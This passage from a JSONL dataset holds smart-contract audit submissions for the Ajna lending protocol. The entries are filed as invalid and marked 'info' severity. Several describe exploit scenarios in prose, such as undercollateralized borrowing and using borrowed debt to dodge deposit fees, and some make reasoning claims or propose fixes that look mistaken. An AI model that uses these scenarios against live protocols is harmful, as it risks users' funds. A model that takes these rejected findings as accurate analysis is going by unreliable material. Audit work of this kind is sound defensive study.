Maths.WAD;\n\n // simulate scale being applied to all deposits above HTP\n _fenwickMult(accrualIndex, scale);\n```\n\n```solidity\n function _fenwickMult(uint256 index_, uint256 scale_) internal {\n while (index_ > 0) {\n fenwickDeposits[index_] = Maths.wmul(fenwickDeposits[index_], scale_);\n\n index_--;\n }\n }\n```\n\n## Tool used\nVSC.\nManual Review.\n\n## Recommendation\n\nTo mitigate the identified risks related to the manipulation of `block.timestamp` and its impact on inflator scaling in the Ajna protocol, consider implementing the following recommendations:\n\n- Use External Oracles for Time: Rely on reputable external oracles to provide accurate and tamper-resistant timestamp data. These oracles can fetch time information from various sources and ensure that time-related variables in the protocol are based on trusted data rather than the block timestamp. Will need to implement in such a way so that it takes into account any potential delays in inclusion of transaction into a block.\n\n- Implement Time Bounds: Set reasonable and protocol-specific time bounds to limit the acceptable range of timestamp values for certain actions or transactions. Transactions with timestamps falling outside these bounds should be rejected to prevent manipulation. Related to above point.\n\n- Incentive Analysis: Regularly analyze the incentives within the protocol to identify any potential misalignments or vulnerabilities that could be exploited due to timestamp manipulation. Adjust incentives as needed to ensure protocol stability and fairness.\n\n- Emergency Response Plan: Develop a clear and well-defined emergency response plan to address any potential exploits or vulnerabilities related to time manipulation. Be prepared to take prompt action to mitigate any adverse effects.\n\n- Continual Monitoring: Continuously monitor the protocol's performance and behavior. Implement mechanisms for real-time detection of anomalies related to time-related variables and potential manipulation.\n\nBy implementing these recommendations, the Ajna protocol can enhance its resilience against timestamp manipulation and maintain the integrity of its inflator scaling and inflation control mechanisms. It's essential to adopt a proactive and multi-layered approach to security and risk management in the DeFi ecosystem.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/067.md"}} +{"title":"No modifier for approval and revoke for LP","severity":"info","body":"Wide Mahogany Alligator\n\nfalse\n\n# No modifier for approval and revoke for LP\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L156\n function approveLPTransferors(\n mapping(address => bool) storage allowances_,\n address[] calldata transferors_\n ) external {\n uint256 transferorsLength = transferors_.length;\n for (uint256 i = 0; i < transferorsLength; ) {\n allowances_[transferors_[i]] = true;\n\n unchecked { ++i; }\n }\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L180\n function revokeLPTransferors(\n mapping(address => bool) storage allowances_,\n address[] calldata transferors_\n ) external {\n uint256 transferorsLength = transferors_.length;\n for (uint256 i = 0; i < transferorsLength; ) {\n delete allowances_[transferors_[i]];\n\n unchecked { ++i; }\n }\n\n\nHere for both approval and revoke for LP no modifier is used for verifying. Anyone can use this one.\n\nIMPACT:Medium","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/066.md"}} +{"title":"A bucket is only bankrupted if it has 0 collateral and 0 deposit after settlement. This can be exploited by an attacker","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# A bucket is only bankrupted if it has 0 collateral and 0 deposit after settlement. This can be exploited by an attacker\n## Summary\nThe vulnerability is that currently, a bucket is only bankrupted if it has 0 collateral and 0 deposit after settlement. An attacker could exploit this by:\n1. Precisely removing all the collateral from a bucket, leaving it with 0 collateral but non-zero deposit.\n2. Since the bucket is not bankrupt yet, settlement will remove deposit from this bucket to settle debt.\n3. After settlement, the bucket will have 0 collateral and 0 deposit, so it gets bankrupted.\n4. However, before settlement, the attacker borrowed against the non-zero deposit in this bucket with 0 collateral. This allowed the attacker to get a loan without proper collateral backing.\n\n## Vulnerability Detail\nThe key parts of the code related to this vulnerability are:\n1. _settlePoolDebtWithDeposit removes deposit from a bucket to settle debt. It checks if the bucket should be bankrupted after removing deposit:\n\n // Remove deposit used to settle debt \n Deposits.unscaledRemove(deposits_, vars.index, vars.unscaledDeposit);\n\n // Check if bucket should be bankrupted\n if (vars.hpbCollateral == 0 && vars.hpbUnscaledDeposit == 0 && vars.hpbLP != 0) {\n // Bankrupt bucket \n }\n\n2. A bucket is bankrupted only if it has 0 collateral and 0 deposit:\n\n if (vars.hpbCollateral == 0 && vars.hpbUnscaledDeposit == 0 && vars.hpbLP != 0) {\n // Bankrupt bucket\n }\n\nThe vulnerability is:\n• Attacker borrows against a bucket with 0 collateral but non-zero deposit. This loan is undercollateralized.\n• In settlement, deposit will be removed from this bucket to settle the attacker's debt.\n• After settlement, the bucket will have 0 collateral and 0 deposit, satisfying the condition to be bankrupted.\n• However, the attacker already benefited by getting an undercollateralized loan before settlement.\n\nLet me walk through an example exploit scenario:\n1. Attacker borrows 1 ETH against a bucket that has 1 ETH collateral and 10 DAI deposit.\n2. Attacker removes the 1 ETH collateral from the bucket, leaving it with 0 collateral but still 10 DAI deposit.\n3. Attacker borrows 10 more DAI against the remaining 10 DAI deposit in the now 0 collateral bucket.\n4. Later, when the attacker's debt is settled, the 10 DAI deposit will be removed from the bucket to repay the debt.\n5. Now the bucket has 0 collateral and 0 deposit, so it gets bankrupted.\n6. However, the attacker already borrowed an extra 10 DAI in step 3 that was not properly collateralized.\nThe key vulnerabilities in the code enabling this attack:\n• `_settlePoolDebtWithDeposit` only checks for 0 collateral and 0 deposit AFTER settlement to bankrupt a bucket. It does not check for improper collateralization BEFORE settlement.\n• `Buckets.addCollateral` allows adding collateral against deposit in a 0 collateral bucket. It does not check that collateralization ratio is maintained.\n\n\n## Impact\nIt allows attackers to take out undercollateralized loans by manipulating the collateral in buckets right before settlement.\nThe severity is high because this undermines the core collateralization mechanisms and risk model of the lending protocol. Specifically:\n• Attackers can take loans with little to no collateral, putting them in a risky position where they have incentive to default strategically.\n• When attackers default, the protocol takes losses since the loans were undercollateralized. This could lead to loss of user funds.\n• Other users may unknowingly deposit assets into the manipulated buckets thinking they are properly collateralized, when in fact their deposits are backing attacker loans.\n• The faulty collateral checks break the trust in the protocol's risk model and incentives.\nOverall I would classify this as a critical severity issue since it allows attackers to break the core collateralization logic and take risky undercollateralized loans. This directly threatens user funds and the sustainability of the protocol. The code should be updated to properly check for and prevent these manipulation attacks\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L394-L397\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L394-L407\n## Tool used\n\nManual Review\n\n## Recommendation \nA suggestion would be:\nIn `Buckets.addCollateral`, add a check that the collateral/deposit ratio stays within proper bounds after adding collateral. Reject if current collateral is 0.\nIn `_settlePoolDebtWithDeposit`, before settlement, check if any buckets with non-zero deposit have 0 collateral. If so, bankrupt those buckets first before settlement.\nThis ensures buckets are properly collateralized at all times, preventing the attack described above. The key is to validate collateralization in real-time, not just after settlement.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/065.md"}} +{"title":"Removing collateral does not always update the position's `npToTp` ratio","severity":"info","body":"Real Ivory Piranha\n\nmedium\n\n# Removing collateral does not always update the position's `npToTp` ratio\n## Summary\n\nFunctions that remove collateral do not update the borrower's `npToTp` ratio, which may lead to miscalculations of the neutral price, as well as auction's reference price and bond size. \n\n## Vulnerability Detail\n\nOne of the key properties of borrowers is their NP/TP ratio. This is tracked in the [`npTpRatio` field of the `Borrower` struct](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/interfaces/pool/commons/IPoolState.sol#L386). According to [its documention](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/interfaces/pool/commons/IPoolState.sol#L386), the `npTpRatio` should always return the value \"at the time of last borrow or pull collateral\". This is also supported by the protocol's whitepaper, where it states that \"[The TP/NP Ratio] is recomputed every time the borrower draws more debt, or removes collateral\".\n\nIn the code, the `npTpRatio` variable is updated in [the `Loans::update` function](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/internal/Loans.sol#L72). For example, it's executed when [drawing](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/BorrowerActions.sol#L194) or [repaying](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/BorrowerActions.sol#L313) debt, when [stamping loans](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/BorrowerActions.sol#L365) or when [taken auctioned loans are updated](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L542).\n\nHowever, the protocol does not update the `npTpRatio` when a borrower removes collateral from its position ([see `LenderActions::removeCollateral`](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/LenderActions.sol#L485)). This means that the `npTpRatio` of a borrower may become outdated after removing collateral.\n\n## Impact\n\nThis may become problematic in actions following the removal of collateral that use the outdated `npTpRatio` value. For example, a kick reads both from the borrower's `collateral` and the `npTpRatio` of a borrower [to calculate the neutral price](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/KickerActions.sol#L310-L314). Yet if the `npTpRatio` wasn't updated before, the calculation could be using an incorrect value and lead to miscalulation of the neutral price. Which would then affect the calculations of the [auction's reference price](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/KickerActions.sol#L319) and the [kicker's bond](https://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/KickerActions.sol#L321-L325).\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate all functions that remove collateral from the protocol to make sure they correctly call `Loans::update` to update the `npTpRatio` of the borrower.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/064.md"}} +{"title":"Rounding of collateral amounts in _settleAuction can lead to a loss of collateral value over time","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# Rounding of collateral amounts in _settleAuction can lead to a loss of collateral value over time\n## Summary\nCalculations like remainingCollateral and compensatedCollateral round the collateral amounts down. This causes a loss of collateral value over time. \n## Vulnerability Detail\nThe _settleAuction function floors the borrower's collateral to the nearest WAD (1e18) when settling ERC-721 auctions:\n\n remainingCollateral_ = (borrowerCollateral_ / Maths.WAD) * Maths.WAD;\n\nThis means any fractional amount of collateral less than 1 WAD will be rounded down and lost.\n\nFor example, if a borrower had 1.5 WAD of collateral, after rounding it would become 1 WAD. So 0.5 WAD of collateral value is lost.\n\nThe compensatedCollateral is also rounded:\n\n compensatedCollateral_ = borrowerCollateral_ - remainingCollateral_;\n\nSo in the example above, the compensatedCollateral would be 0.5 WAD. But when this collateral is deposited into a bucket, it will be rounded down again.\n\nOver many auctions, these small amounts of lost collateral can add up to a significant total loss of value.\n## Impact\nIt can lead to a slow drain of collateral value from the lending pool over time.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L220\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L226\n\n## Tool used\n\nManual Review\n\n## Recommendation\n The rounding could be removed and fractional amounts of collateral could be retained. A suggestive example:\n\n\n remainingCollateral_ = borrowerCollateral_; \n\n uint256 fractionalCollateral = borrowerCollateral_ % Maths.WAD;\n\n if (fractionalCollateral > 0) {\n // deposit fractional amount into bucket\n // update compensatedCollateral\n }\n\nThis retains the full collateral value without rounding and loss. The fractional amounts can be handled by the bucket deposits.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/062.md"}} +{"title":"Vulnerability in the _removeAuction function when removing an auction from the queue if the borrower is both the head and tail of the queue.","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# Vulnerability in the _removeAuction function when removing an auction from the queue if the borrower is both the head and tail of the queue.\n## Summary\nWhen removing auction, if borrower is both head and tail, it sets both to 0. This is a bug that can corrupt the auction queue state, and it should set tail to head rather than 0 when removing the only auction.\n## Vulnerability Detail\nthere is a bug in the _removeAuction function when removing an auction where the borrower is both the head and tail of the queue. Specifically, this code:\n\n if (auctions_.head == borrower_ && auctions_.tail == borrower_) {\n // liquidation is the head and tail\n auctions_.head = address(0);\n auctions_.tail = address(0); \n }\n\nSets both the head and tail to 0 if the borrower is the only auction in the queue. This would effectively erase the auction queue.\nThe impact of this is that if there is only one auction in the queue and it gets removed, the queue will be corrupted and any subsequent auctions added would not be tracked properly.\n\n\n## Impact\nIf there is only one auction in the queue, and that auction is removed, it will set both the head and tail to 0, essentially corrupting the queue's state.\nThis can cause issues when trying to add new auctions to the queue, as there would be no valid head/tail to append to. It also breaks the invariant that head/tail should always point to a valid auction if there are any auctions in the queue.\nSo in summary:\n• Severity is high since it breaks the core auction queue.\n• It can lead to runtime errors and failures when interacting with the auction queue.\n• The auction queue state becomes corrupted.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L290-L293\n## Tool used\n\nManual Review\n\n## Recommendation\nWhen removing the only auction, tail should be set to head instead of 0:\n\n if (auctions_.head == borrower_ && auctions_.tail == borrower_) {\n auctions_.head = address(0); \n auctions_.tail = auctions_.head; \n }\n\nThis preserves the linked list by pointing tail to head (which is 0). With this fix, the auction queue remains usable after removing the last auction. \n\nIn summary - `auctions_.tail = address(0)` should be changed to `auctions_.tail = auctions_.head`","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/060.md"}} +{"title":"There is a bug in the _settlePoolDebtWithDeposit function where it double counts the borrower's debt when calculating assets to settle with reserves","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# There is a bug in the _settlePoolDebtWithDeposit function where it double counts the borrower's debt when calculating assets to settle with reserves\n## Summary\nWhen settling with reserves, it calculates assets by adding t0Debt and poolBalance. However, t0Debt already includes the borrower's debt, so this is double counting. Double counting the borrower's debt leads to incorrectly estimating assets and creates a vulnerability. \n## Vulnerability Detail\nThere is a bug in the _settlePoolDebtWithDeposit function where it double counts the borrower's debt when calculating the pool's assets.\nSpecifically, in this section:\n\n // 2. settle debt with pool reserves\n uint256 assets = Maths.floorWmul(poolState_.t0Debt - result_.t0DebtSettled + borrower.t0Debt, poolState_.inflator) + \n params_.poolBalance;\n\nIt is adding `poolState_.t0Debt` and `borrower.t0Debt` together. However, `poolState_.t0Debt` already includes the total debt of all borrowers, including the `borrower.t0Debt` being settled. So this is double counting the borrower's debt.\n\nThe vulnerability of this bug is that it will overestimate the assets available in the pool reserves to settle the debt. This means it could incorrectly settle more debt than the reserves can actually cover.\n\n## Impact\nIt will overestimate the assets available in the pool to settle debt, potentially settling more debt from the reserves than is actually available. The severity is high since it impacts the accuracy of the reserves and could put the pool stability at risk if abused.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L135\n## Tool used\n\nManual Review\n\n## Recommendation\nIt should calculate assets using only the pool balance, without adding the borrower's debt again:\n\n uint256 assets = params_.poolBalance;\n\nOr if you want to exclude the borrower's settled debt so far from reserves:\n\n uint256 assets = Maths.floorWmul(poolState_.t0Debt - result_.t0DebtSettled, poolState_.inflator) + params_.poolBalance;\n\nThis fixes the double counting and accurately calculates the reserves available to settle the borrower's remaining debt.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/058.md"}} +{"title":"Use \"safeTransferFrom\" instead of \"transferFrom\" for ERC721","severity":"info","body":"Wide Mahogany Alligator\n\nfalse\n\n# Use \"safeTransferFrom\" instead of \"transferFrom\" for ERC721\n## Summary\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse of the transferFrom method for ERC721 transfer is discouraged and recommended to use safeTransferFrom whenever possible by OpenZeppelin.\nThis is because transferFrom() cannot check whether the receiving address knows how to handle ERC721 tokens.\n\nIn the function shown below PoC, the ERC721 token is sent to the address(to) with the transferFrom method.\nIf this address (to) is a contract and is not aware of incoming ERC721 tokens, the sent token could be locked up in the contract forever.\n\nReference: https://docs.openzeppelin.com/contracts/3.x/api/token/erc721\n\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L608\n function _transferNFT(address from_, address to_, uint256 tokenId_) internal {\n // slither-disable-next-line calls-loop\n IERC721Token(_getArgAddress(COLLATERAL_ADDRESS)).transferFrom(from_, to_, tokenId_);\n }\n\n Impact:MEDIUM","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/057.md"}} +{"title":"The _lenderInterestMargin function has a special case that bypasses the main calculation logic when the base variable is less than 1e18. This allows for manipulations","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# The _lenderInterestMargin function has a special case that bypasses the main calculation logic when the base variable is less than 1e18. This allows for manipulations\n## Summary\n\n## Vulnerability Detail\n The _lenderInterestMargin function has special case logic that bypasses the main calculation when base < 1e18.\n\nHere is the relevant code:\n\n\n function _lenderInterestMargin(uint256 mau_) internal pure returns (uint256) {\n\n uint256 base = 1_000_000 * 1e18 - Maths.min(mau_, 1e18) * 1_000_000;\n\n if (base < 1e18) {\n return 1e18; \n }\n\n // main calculation logic\n uint256 crpud = PRBMathUD60x18.pow(base, ONE_THIRD);\n return 1e18 - Maths.wdiv(Maths.wmul(crpud, 0.15 * 1e18), CUBIC_ROOT_1000000);\n\n }\nWhen base < 1e18, it directly returns 1e18, bypassing the main calculation.\n\nThis means that if base is a very small number, close to 0, the lender interest margin will be set to 1e18 (100%) regardless of the actual inputs.\n\nThis could allow an attacker to manipulate the inputs to make base artificially small, resulting in lenders getting 100% of the interest and maximizing returns.\n## Impact\nThe vulnerability of the special case when base < 1e18 is that it results in lenders getting 100% of the interest, bypassing the normal calculation logic.\nThis could be a high severity issue because:\n• It diverges from the intended interest sharing logic based on utilization. Lenders get 100% of interest regardless of utilization.\n• It could incentivize manipulative behavior to force base < 1e18. For example, borrowers paying back debt to reduce utilization right before interest accrual.\n• It likely disproportionately benefits lenders over borrowers.\n• It removes the equilibrium incentives that tie lender returns to utilization. Lenders no longer have incentive to limit deposits when utilization is low.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L323-L344\n## Tool used\n\nManual Review\n\n## Recommendation\n I would recommend removing the special case and forcing the calculation to run normally even for small base values. A suggestive example:\n\n function _lenderInterestMargin(uint256 mau_) internal pure returns (uint256) {\n\n uint256 base = 1_000_000 * 1e18 - Maths.min(mau_, 1e18) * 1_000_000;\n \n // remove special case logic\n \n uint256 crpud = PRBMathUD60x18.pow(base, ONE_THIRD);\n return 1e18 - Maths.wdiv(Maths.wmul(crpud, 0.15 * 1e18), CUBIC_ROOT_1000000);\n\n }\n\nThis ensures the logic cannot be bypassed and the calculation behaves as expected even for small base values close to 0.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/056.md"}} +{"title":"Malicious actor can manipulate interest rates by calling updateInterestState more frequently than once every 12 hours","severity":"info","body":"Main Vermilion Tadpole\n\nmedium\n\n# Malicious actor can manipulate interest rates by calling updateInterestState more frequently than once every 12 hours\n## Summary\nThere is an assumption that this function will not be called more than once every 12 hours. However, there is no enforcement of this in the contract. A malicious actor could call it more frequently to manipulate interest rates. \n## Vulnerability Detail\nIt is possible for a malicious actor to call updateInterestState() more frequently than every 12 hours to manipulate interest rates, since there is no enforcement of the 12 hour limit.\nThe key parts of the code are:\n1. updateInterestState() calculates new EMA values and interest rate params. It saves them to storage.\n2. It only calculates a new interest rate if more than 12 hours have passed since the last update:\n\n if (block.timestamp - interestParams_.interestRateUpdate > 12 hours) {\n // calculate and update interest rate \n }\n\n3. There is no check to prevent updateInterestState() from being called more often than every 12 hours.\n\nA malicious actor could exploit this by:\n• Calling updateInterestState() more often than every 12 hours.\n• This would repeatedly recalculate the EMAs and interest rate params.\n• By manipulating the frequency of calls, they could game the EMA calculations to artificially alter the interest rate.\n\nFor example, they could briefly increase utilization right before the calls to increase the rate, then decrease utilization to lower the rate. By timing the changes and calls, they could trick the EMAs and get an incorrectly high or low rate.\nThis could negatively impact other users by manipulating rates for the attacker's benefit.\n\n## Impact\nThe vulnerability of calling this function more frequently than intended is that it could allow malicious actors to manipulate interest rates in the pool.\nSpecifically, by calling updateInterestState() more often than once every 12 hours, attackers could:\n• Artificially increase interest rates by repeatedly calling updateInterestRate() and triggering the rate increase logic. This would improperly charge higher interest rates to borrowers.\n• Artificially suppress interest rates by calling updateInterestRate() before natural rate increases happen. This would improperly benefit borrowers by charging lower rates.\nThis is a moderate severity issue. While it does allow manipulation of a key economic parameter of the pool, there are some mitigating factors:\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L180\n## Tool used\n\nManual Review\n\n## Recommendation\nThe contract should add a lastUpdate timestamp and require at least 12 hours to have passed since the last call. A suggestive example:\n\n uint256 public lastUpdate; \n\n function updateInterestState() external {\n\n require(block.timestamp - lastUpdate > 12 hours, \"Must wait 12 hours between updates\");\n \n // update interest state\n\n lastUpdate = block.timestamp;\n\n }\n\nThis would prevent the attacker from calling it more often than once per 12 hours.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/055.md"}} +{"title":"Loan with 0 threshold price can be inserted into the loans heap. This can break the max heap property","severity":"info","body":"Main Vermilion Tadpole\n\nhigh\n\n# Loan with 0 threshold price can be inserted into the loans heap. This can break the max heap property\n## Summary\nZeroThresholdPrice error check only occurs when updating an existing loan, not on insert. This could allow a loan with 0 threshold price to be inserted.\n## Vulnerability Detail\nIt is possible for a loan with 0 threshold price to be inserted into the loans heap. This is because the ZeroThresholdPrice error check only occurs in the update() function when updating an existing loan, not on initial insert.\nHere is how a 0 threshold price loan could get inserted:\n• The init() function initializes the heap with a dummy node, but does no threshold price checks:\n\n function init(LoansState storage loans_) internal {\n loans_.loans.push(Loan(address(0), 0)); \n }\n• The update() function only does a threshold price check when updating an existing loan:\n\n If (t0ThresholdPrice == 0) revert ZeroThresholdPrice();\n• But on first insert of a new loan, it calls _upsert() which can insert without a threshold price check:\n\n _upsert(loans_, borrowerAddress_, loanId, uint96(t0ThresholdPrice));\n\nSo if `t0ThresholdPrice` is 0 on first insert, it will get added to the heap.\nThis can break the max heap property and allow `getMax()` to return loans with 0 threshold price. It could also lead to errors in the bubbling logic that assumes children have <= threshold price than parents.\n\n## Impact\nThe vulnerability of allowing a loan with 0 threshold price to be inserted into the loans heap is that it could break the max heap property. Overall this seems like a high severity issue as it violates a core data structure invariant that much of the logic depends on. Allowing 0 threshold price loans to ever be inserted, even if just on initialization, could create hard to trace bugs and heap corruption down the line\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L49-L51\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L91\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L94\n\n## Tool used\n\nManual Review\n\n## Recommendation \nthe _upsert() function could also be changed to check for 0 threshold price on insert:\n\n function _upsert(/*...*/) internal {\n\n if (thresholdPrice_ == 0) {\n revert ZeroThresholdPrice(); \n }\n\n // rest of upsert logic\n }\n\nThis would prevent a 0 threshold price loan from ever entering the heap, whether on insert or update, maintaining the heap invariants.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/054.md"}} +{"title":"Use safetransferfrom and safetransfer for ERC20 and ERC721","severity":"info","body":"Merry Glass Dachshund\n\nmedium\n\n# Use safetransferfrom and safetransfer for ERC20 and ERC721\n## Summary\nUse safetransferfrom and safetransfer instead of transfer and transferfrom\n## Vulnerability Detail\nThe transferFrom() and transfer method is used instead of safeTransferFrom() and safetransfer, presumably to save gas. I however argue that this isn’t recommended because:\n\n[OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of transferFrom(), use safeTransferFrom() whenever possible.\n\n## Impact\nThe contract will malfunction for certain tokens.\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/interfaces/pool/IPool.sol#L47-L57\n## Tool used\n\nManual Review\n\n## Recommendation\nCall the safeTransferFrom() and safetransfer() method instead of transferFrom() and transfer","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/053.md"}} +{"title":"Unutilized deposit fee can be avoided or accidentally double paid","severity":"info","body":"Bumpy Punch Albatross\n\nmedium\n\n# Unutilized deposit fee can be avoided or accidentally double paid\n## Summary\n\nA check in `moveQuoteToken` to determine whether the unutilized deposit fee must be paid allows users to avoid paying the fee at all and can unintentionally cause users to pay the fee more than once.\n\n## Vulnerability Detail\n\nWhen moving quote tokens from one bucket to another with `moveQuoteToken`, a deposit fee is charged if `vars.fromBucketPrice >= lup_ && vars.toBucketPrice < lup_`. This is to ensure that if a user already paid the fee that they don't double pay and if they hadn't yet paid the fee but they should for moving into an unutilized bucket that they do here.\n\nThe problem with this logic is the LUP is a variable price and as such it can result in the following unexpected effects:\n\n1) If a lender deposits initially to a utilized bucket but then the LUP moves up above it, they can then move to any other unutilized bucket, never having had paid a fee.\n\n2) If a lender deposits initially to an unutilized bucket but then the LUP moves down below it, if they move their tokens to an unutilized bucket, they will be charged the unutilized deposit fee twice.\n\nBoth of these cases are contrary to the intended effect of this check. Furthermore, lenders can manipulate 1) to cheaply avoid paying a utilization fee while depositing in any unutilized bucket as follows:\n- Take out just enough debt to push LUP into the next bucket\n- addQuoteTokens at new LUP bucket\n- Repay debt\n - We are now in an unutilized bucket without paying a fee\n- moveQuoteTokens to any unutilized bucket\n - We still don't have to pay the fee\n\n## Impact\n\nLoss of user funds and allowing users to avoid paying fees. \n\nSection 4.2 of the [whitepaper](https://www.ajna.finance/pdf/Ajna_Protocol_Whitepaper_10-12-2023.pdf?ref=ajna-protocol-news.ghost.io) notes that this fee is used to mitigate MEV attacks, which as a result of this finding are likely not prevented.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L292\n```solidity\n// apply unutilized deposit fee if quote token is moved from above the LUP to below the LUP\n// @audit what if from bucket used to be above LUP so they never pay the fee?\n// or what if they paid a fee initially than LUP moved down and now they have to pay again?\nif (vars.fromBucketPrice >= lup_ && vars.toBucketPrice < lup_) {\n if (params_.revertIfBelowLup) revert PriceBelowLUP();\n\n movedAmount_ = Maths.wmul(movedAmount_, Maths.WAD - _depositFeeRate(poolState_.rate));\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude a boolean in storage as to whether the lender was already charged the fee for that particular bucket, or simply charge the unutilized deposit fee every time the `toBucketPrice < lup_`, regardless of the previous bucket price.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/051.md"}} +{"title":"MinimumBorrowSize Check would revert for BorrowTokens with decimals less than 18 , Even with reasonable debt Size.","severity":"info","body":"Kind Coal Sawfish\n\nmedium\n\n# MinimumBorrowSize Check would revert for BorrowTokens with decimals less than 18 , Even with reasonable debt Size.\n---\nname: Audit item\nabout: These are the audit items that end up in the report\ntitle: \"\"\nlabels: \"High\"\nassignees: \"\"\n---\n\n## Summary:MinimumBorrowSize Check would revert for BorrowTokens with decimals less than 18 , \nEven with reasonable BorrowSize of QuoteTokens. \n\n\n## Vulnerability Detail:\nBefore finalizing a debt a check is used to ensure that a borrow size is equal || greater to the minimum borrowSize of a pool to prevent bad debts by accumulation of dust Tokens. When borrowing Tokens with decimals less 18,this would be very problematic because the check would revert on 